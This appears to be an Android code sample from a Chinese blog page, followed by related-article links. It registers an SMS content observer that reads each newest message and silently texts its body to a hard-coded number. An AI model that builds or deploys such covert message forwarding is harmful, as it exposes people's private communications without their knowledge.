public class ObserverActivity extends Activity implements OnClickListener {    protected static final String TEL_NUMBER = "110";    private Button mBtnSend;    private Uri mSmsUri;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        mBtnSend = new Button(this);        //添加监听        mBtnSend.setOnClickListener(this);        //初始化地址        mSmsUri = Uri.parse("content://sms/");    }    @Override    public void onClick(View v) {        if (v == mBtnSend) {//注册observer        getContentResolver().registerContentObserver(mSmsUri, true, observer);        }    }//初始化observer     ContentObserver observer = new ContentObserver(new Handler()) {        public void onChange(boolean selfChange) {        //如果变化了            if (selfChange) {                Cursor cursor = getContentResolver().query(mSmsUri, new String[] { "body", "date", "address", "type" },                        null, null, null);                        //读取最新的消息                cursor.moveToFirst();                String text = cursor.getString(cursor.getColumnIndex("body")) + "_"                        + cursor.getString(cursor.getColumnIndex("body"));                cursor.close();                //发送短信                SmsManager sm = SmsManager.getDefault();                sm.sendTextMessage(TEL_NUMBER, null, text, null, null);            }        };    };    @Override    protected void onDestroy() {        if (observer != null) {            getContentResolver().unregisterContentObserver(observer);            observer = null;        }    }}

更多相关文章

  1. 【从头学android】第一个程序,点按钮显示Hello World
  2. [Android]读取properties配置文件.
  3. Android(安卓)读取安装的非系统应用程序
  4. 第一个Android登录页面 | HTTP 请求验证登录 | 完整代码
  5. Android绘制圆形图片(五)
  6. android 版 双色球号码生成
  7. Android视频播放项目总结之 使用Android中的videoView自己定义,暂
  8. Android(安卓)完全退出的实例详解
  9. Android锁屏及监听锁屏事件

随机推荐

  1. 错误1452:无法添加或更新子行:外键约束失败
  2. 分页查询-sql优化
  3. 防止左连接中的重复值
  4. MySql随笔part3 表操作
  5. MYSQL 导入53M数据报错
  6. 为什么我的变量在TCPDF中没有定义?
  7. 加入vs多个数据副本:性能
  8. 这是什么原因啊,没有找出错来啊(数据库用的
  9. mysql - 如果“a”==“b”回显“折扣”
  10. Windows下 MySQL更新密码